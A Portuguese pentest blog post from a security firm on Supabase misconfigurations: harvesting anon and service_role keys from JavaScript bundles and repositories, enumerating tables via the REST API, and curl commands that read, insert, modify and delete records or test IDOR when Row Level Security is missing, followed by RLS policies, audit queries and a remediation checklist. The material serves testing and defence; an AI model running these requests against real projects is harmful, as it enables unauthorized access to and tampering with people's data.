Voltar para o blog

Supabase Security: Chaves Expostas, RLS Ausente e Misconfigs Críticas

04/05/2026 14 min de leitura
Supabase Security: Chaves Expostas, RLS Ausente e Misconfigs Críticas

O Supabase se posiciona como a alternativa open source ao Firebase: um banco PostgreSQL gerenciado, autenticação, armazenamento de arquivos, funções serverless e uma API REST gerada automaticamente a partir do schema do banco. 

Para o pentester, porém, esse cenário tem implicações diretas. 

O Supabase foi projetado para permitir acesso ao banco diretamente do frontend, via chave pública. 

O que protege os dados não é a obscuridade nem a autenticação no gateway, mas a configuração de Row Level Security (RLS) nas tabelas do PostgreSQL. Quando essa configuração está ausente ou incorreta, a superfície de ataque é trivialmente explorável.

Entendendo a arquitetura e os tokens do Supabase

Antes de testar qualquer endpoint, é necessário entender o modelo de autenticação do Supabase. Ele usa JWTs para todas as requisições e distingue três papéis principais, cada um com nível de privilégio diferente:

TOKEN / PAPEL PRIVILÉGIO RISCO DE EXPOSIÇÃO
anon key Baixo (depende do RLS) Alta: projetada para ficar no frontend. Crítica se o RLS estiver ausente.
authenticated JWT Médio (escopo do usuário) Média: obtida após o login. Pode ser capturado via proxy.
service_role key Total (bypass de RLS) Crítica: nunca deve aparecer no frontend. Acesso irrestrito ao banco.

 

A regra de ouro é: a anon key é pública por design. O que protege o banco é o RLS, não a chave. Se o RLS não estiver habilitado e configurado corretamente, qualquer pessoa com a anon key terá acesso irrestrito a todas as tabelas.

Fase 1: Reconhecimento e extração de credenciais

A primeira etapa em um pentest de aplicações que usa Supabase é encontrar as credenciais de acesso. Elas aparecem em locais previsíveis e podem ser extraídas sem qualquer ferramenta especial.

Extraindo chaves do bundle JavaScript

Aplicações React, Vue, Next.js e similares frequentemente incluem as variáveis de ambiente no bundle de produção. Ao inspecionar o JS da aplicação ou usar o DevTools do navegador, é comum encontrar um bloco similar ao abaixo:

 

// JavaScript / Bundle
// Presente no bundle JavaScript da aplicação

const supabaseUrl  = "https://xyzabcdef.supabase.co"

const supabaseAnon = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

 

// Em aplicações Next.js, buscar por NEXT_PUBLIC_SUPABASE_URL

// Em Vite/React, buscar por VITE_SUPABASE_URL

// Em apps compiladas: DevTools > Sources > buscar "supabase.co"

 

Outras fontes de credenciais

  • Repositórios públicos no GitHub: buscar supabase.co ou supabase_anon_key via GitHub Search ou GitDorker.
  • Arquivos .env e .env.local commitados acidentalmente no histórico git.
  • Source maps (.js.map) que referenciam o código original com variáveis em texto claro.
  • Requisições de rede capturadas via Burp Suite ou mitmproxy revelando o header apikey em chamadas autenticadas.
  • Repositórios de código de app mobile (React Native, Flutter) com credenciais hardcoded.

 

Identificando o service_role key

O service_role key é ainda mais crítico do que a anon key, pois ele contorna completamente o RLS. Se aparecer em qualquer lugar acessível ao cliente, o banco inteiro estará comprometido. 

Ele pode aparecer em:

  • Variáveis de ambiente de funções serverless com deploys incorretamente.
  • Pipelines de CI/CD com logs públicos.
  • Arquivos de configuração em repositórios com visibilidade incorreta.
  • Headers de requisição capturados: Authorization: Bearer eyJ…service_role…

Fase 2: Enumeração via REST API

O Supabase gera automaticamente uma API REST baseada no schema do banco PostgreSQL. 

Cada tabela vira um endpoint no padrão /rest/v1/{nome_da_tabela}

Isso significa que, com a URL do projeto e a anon key, um atacante pode tentar interagir com qualquer tabela cujo nome consiga adivinhar ou descobrir.

Estrutura dos endpoints

 

// HTTP
# Padrão de URL do Supabase

https://<project-ref>.supabase.co/rest/v1/<tabela>

 

# Headers obrigatórios em toda requisição

apikey: <anon-key-ou-service-role-key>

Authorization: Bearer <jwt-token>

 

# Exemplos de endpoints comuns para tentar

GET /rest/v1/users

GET /rest/v1/profiles

GET /rest/v1/orders

GET /rest/v1/organizations

GET /rest/v1/notifications

GET /rest/v1/calls

GET /rest/v1/payments

 

Teste de leitura não autenticada

 

// Shell
# Tentativa de leitura com anon key (sem usuário autenticado)

curl -X GET "https://xyzabcdef.supabase.co/rest/v1/users" \

  -H "apikey: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \

  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."

 

# Resposta com RLS desabilitado (vulnerável):

# [{"id":1,"email":"admin@empresa.com","role":"admin",...}, ...]

 

# Resposta com RLS habilitado e sem política permissiva:

# []  (array vazio, acesso negado)

 

Seleção de colunas e exfiltração de schema

O Supabase suporta o parâmetro select para especificar quais colunas retornar. 

Sem restrições de RLS, isso permite exfiltrar campos específicos, incluindo colunas sensíveis que poderiam estar ocultas na UI:

 

// HTTP
# Retornar todas as colunas

GET /rest/v1/users?select=*

 

# Retornar apenas colunas específicas

GET /rest/v1/users?select=id,email,role,created_at

 

# Filtros por valor (sem autenticação, se o RLS estiver ausente)

GET /rest/v1/users?role=eq.admin

GET /rest/v1/users?email=like.*empresa.com

 

# Descoberta de schema via endpoint introspect

GET /rest/v1/

# Retorna lista de todos os recursos (tabelas) disponíveis

 

A introspecção via GET /rest/v1/ lista automaticamente todas as tabelas expostas pelo PostgREST. Isso elimina a necessidade de adivinhar nomes: o próprio Supabase entrega o mapa completo do banco de dados.

Operações de escrita

Se a anon key permite leitura sem RLS, as operações de escrita costumam estar igualmente abertas. Isso inclui inserção, atualização e remoção de dados de qualquer usuário:


// Shell
# Inserção de registro arbitrário

curl -X POST "https://xyzabcdef.supabase.co/rest/v1/users" \

  -H "apikey: <anon-key>" \

  -H "Authorization: Bearer <anon-key>" \

  -H "Content-Type: application/json" \

  -d '{"email":"attacker@evil.com","role":"admin"}'

 

# Atualização de registro existente (sem verificar ownership)

curl -X PATCH "https://xyzabcdef.supabase.co/rest/v1/users?id=eq.42" \

  -H "apikey: <anon-key>" \

  -H "Authorization: Bearer <anon-key>" \

  -H "Content-Type: application/json" \

  -d '{"role":"admin"}'

 

# Remoção de registro

curl -X DELETE "https://xyzabcdef.supabase.co/rest/v1/users?id=eq.42" \

  -H "apikey: <anon-key>" \

  -H "Authorization: Bearer <anon-key>"

 

Fase 3: Escalada com usuário autenticado

Mesmo quando a anon key sozinha não retornar dados (RLS habilitado), ainda é possível testar falhas de controle de acesso horizontal após a criação de uma conta de teste. 

O Supabase expõe endpoints de autenticação diretamente via /auth/v1/

Criando conta de teste e obtendo JWT

 

// Shell
# Registro de nova conta (se o registro público estiver habilitado)

curl -X POST "https://xyzabcdef.supabase.co/auth/v1/signup" \

  -H "apikey: <anon-key>" \

  -H "Content-Type: application/json" \

  -d '{"email":"test@pentest.local","password":"P3ntest@2025!"}'

 

# Resposta inclui access_token JWT do usuário criado:

# { "access_token": "eyJhbGc...", "user": { "id": "uuid-aqui", ... } }

 

# Login em conta existente

curl -X POST "https://xyzabcdef.supabase.co/auth/v1/token?grant_type=password" \

  -H "apikey: <anon-key>" \

  -H "Content-Type: application/json" \

  -d '{"email":"user@empresa.com","password":"senha"}'

 

Testando controle de acesso horizontal (IDOR via RLS)

Com o JWT do usuário criado, testa-se se as políticas do RLS estão corretamente restritas por ownership. 

A falha mais comum é uma política que verifica apenas auth.uid() IS NOT NULL sem comparar com o UID do dono do recurso:

 

// Shell
# Com JWT do usuário A (id: uuid-usuario-a)

# Tentativa de ler dados do usuário B (id: uuid-usuario-b)

curl -X GET "https://xyzabcdef.supabase.co/rest/v1/profiles?id=eq.uuid-usuario-b" \

  -H "apikey: <anon-key>" \

  -H "Authorization: Bearer <jwt-usuario-a>"

 

# Política vulnerável (não verifica ownership):

# CREATE POLICY "allow authenticated" ON profiles

#   FOR SELECT USING (auth.uid() IS NOT NULL);

 

# Política correta (verifica ownership):

# CREATE POLICY "allow own profile" ON profiles

#   FOR SELECT USING (auth.uid() = user_id);

Verificando se service_role está exposto

Se em algum momento o token obtido retornar dados que deveriam estar protegidos por RLS habilitado, isso pode indicar que a aplicação está usando o service_role key no frontend.

Para confirmar, decodifique o JWT e verifique o campo role:

 

// Shell
# Decodificar o payload do JWT (base64 do segundo segmento)

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xl..." | \

  cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool

 

# Payload do service_role key (critico):

# { "role": "service_role", "iss": "supabase", ... }

 

# Payload da anon key (esperado no frontend):

# { "role": "anon", "iss": "supabase", ... }

 

O que aparece nos relatórios

Abaixo estão os achados mais frequentes em engajamentos envolvendo aplicações construídas com Supabase, organizados por severidade:

Achado Severidade Descrição
service_role key exposta no frontend Crítico Acesso irrestrito e bypass total de RLS. Equivale a acesso root ao banco.
Tabelas sem RLS habilitado Crítico Qualquer portador da anon key pode realizar CRUD completo em todos os registros.
RLS habilitado sem políticas definidas Crítico Tabela completamente inacessível ou aberta dependendo do default configurado.
Política sem verificação de ownership Alto IDOR: usuário autenticado acessa dados de outros usuários.
Endpoint de signup público sem controle Alto Criação de contas em massa e possível escalada via manipulação do campo role.
Schema exposto via introspecção REST Médio Enumeração de tabelas facilita ataques direcionados subsequentes.

 

Row Level Security: o que é e por que é inegociável

Row Level Security (RLS) é um recurso nativo do PostgreSQL que permite definir políticas de acesso em nível de linha. 

Quando habilitado em uma tabela, toda consulta que tenta acessar aquela tabela passa por um filtro automático antes de retornar qualquer dado.

No contexto do Supabase, o RLS é o único mecanismo que impede que a anon key exponha dados. Sem ele, o modelo de segurança do Supabase entra em colapso.

Possíveis situações de uma tabela

  • RLS desabilitado: qualquer requisição com anon key tem acesso irrestrito. É o estado padrão ao criar uma tabela via SQL direto.
  • RLS habilitado sem políticas: nenhuma requisição retorna dados (implicit deny). Pode quebrar a aplicação se não houver políticas definidas.
  • RLS habilitado com políticas corretas: acesso filtrado por regras de ownership, função ou outro critério. É um estado seguro.

 

Habilitando RLS e criando políticas corretas

 

// PostgreSQL / SQL
-- 1. Habilitar RLS na tabela

ALTER TABLE profiles ENABLE ROW LEVEL SECURITY;

 

-- 2. Política básica: o usuário vê apenas seu próprio perfil

CREATE POLICY "usuário vê próprio perfil"

  ON profiles

  FOR SELECT

  USING (auth.uid() = user_id);

 

-- 3. Política de criação: usuário só cria registro para si mesmo

CREATE POLICY "usuário cria próprio perfil"

  ON profiles

  FOR INSERT

  WITH CHECK (auth.uid() = user_id);

 

-- 4. Política de atualização: usuário só edita seu próprio registro

CREATE POLICY "usuário edita o próprio perfil"

  ON profiles

  FOR UPDATE

  USING (auth.uid() = user_id)

  WITH CHECK (auth.uid() = user_id);

 

-- 5. Dados públicos: qualquer usuário autenticado pode ler

CREATE POLICY "dados públicos legível"

  ON public_content

  FOR SELECT

  USING (true);

RBAC via custom claims no JWT

Para sistemas com papéis (admin, moderador ou usuário), é possível adicionar claims customizados ao JWT via auth.users e verificar dentro das políticas:

// PostgreSQL / SQL
-- Política que verifica função via custom claim no JWT

CREATE POLICY "admins acessam tudo"

  ON sensitive_data

  FOR ALL

  USING (

    auth.jwt() -> 'user_metadata' ->> 'role' = 'admin'

  );

 

-- Verificação de ownership combinada com função

CREATE POLICY "usuários veem seus próprios dados ou admins"

  ON orders

  FOR SELECT

  USING (

    auth.uid() = customer_id

    OR auth.jwt() -> 'user_metadata' ->> 'role' = 'admin'

  );

Remediação e checklist de segurança

A remediação de falhas no Supabase é direta, mas precisa ser sistêmica.

Corrigir uma tabela sem auditar as demais deixa o risco em aberto.

Rotação de chaves expostas

 

// Supabase Dashboard
# 1. Acesse o Supabase Dashboard > Project Settings > API

# 2. Clique em "Reset" para a chave exposta

# 3. Atualize todos os ambientes que usavam a chave antiga

# 4. Verifique logs de acesso (Database > Logs) para atividade suspeita

 

# Chaves que devem ser rotacionadas imediatamente se expostas:

# service_role key: acesso root, rotacionar com urgência máxima

# JWT secret: se exposto, permite forjar tokens arbitrários

Auditoria de RLS em todas as tabelas

 

// PostgreSQL / SQL
-- Consulta para listar todas as tabelas sem RLS habilitado

SELECT schemaname, tablename, rowsecurity

FROM pg_tables

WHERE schemaname = 'public'

  AND rowsecurity = false;

 

-- Consulta para listar tabelas com RLS mas sem políticas

SELECT t.tablename

FROM pg_tables t

LEFT JOIN pg_policies p ON t.tablename = p.tablename

WHERE t.schemaname = 'public'

  AND t.rowsecurity = true

  AND p.tablename IS NULL;

Checklist de deploy seguro

  • Nenhuma tabela em produção deve estar com RLS desabilitado.
  • Toda tabela com RLS habilitado deve ter ao menos uma política definida para cada operação usada pela aplicação.
  • As políticas devem verificar auth.uid() = owner_id, não apenas auth.uid() IS NOT NULL.
  • O service_role key deve existir apenas em variáveis de ambiente de servidor e nunca no cliente.
  • A anon key não deve estar hardcoded no código, mas usar variáveis de ambiente com prefixo público (NEXT_PUBLIC_, VITE_).
  • O registro público de usuários deverá estar desabilitado se a aplicação não for pública.
  • Os logs de banco de dados deverão estar sendo monitorados para consultas anômalas.
  • As funções Edge/serverless que usam service_role key devem validar a identidade do chamador antes de executar.
  • O JWT secret não deverá estar em nenhum repositório, arquivo de log ou variável de ambiente do cliente.

 

Como é feito na Vantico?

Em engajamentos conduzidos pela Vantico, misconfigurations em Supabase seguem um padrão repetitivo: a anon key é encontrada no JavaScript, as tabelas críticas não têm RLS, e o time de desenvolvimento desconhecia que o banco estava acessível publicamente. 

Nossa plataforma permite registrar esses achados em tempo real, com evidências e reprodução documentada, e acompanhar a remediação sem depender de ciclos de relatório lentos.

Conclusão

O Supabase entrega uma experiência de desenvolvimento excepcional, mas o modelo de segurança dele exige que o desenvolvedor entenda exatamente o que a anon key pode acessar. 

Isso não é um defeito da plataforma, mas uma decisão de design documentada. 

O que realmente transforma isso em vulnerabilidade é a falta de revisão das políticas de RLS antes de ir à produção.

Para o pentester, o Supabase representa uma superfície de ataque com comportamento previsível: URL no formato *.supabase.co, chave no bundle JS e endpoints REST documentados pelo próprio Supabase. 

Quando o RLS não está configurado, a exploração é imediata e o impacto é total.

A mensagem para times de segurança é: antes de qualquer deploy com Supabase, execute a consulta de auditoria de RLS, revise cada política e confirme que o service_role key nunca tocou o cliente. 

Esses três passos eliminam a maioria dos riscos documentados em produção.

 

Gostou deste artigo?

Leia mais em nosso Laboratório de Testes.

Siga-nos nas redes sociais para ficar por dentro das novidades.


Júlia Valim Júlia Valim

Agende uma demonstração com a Vantico

Agendar demonstração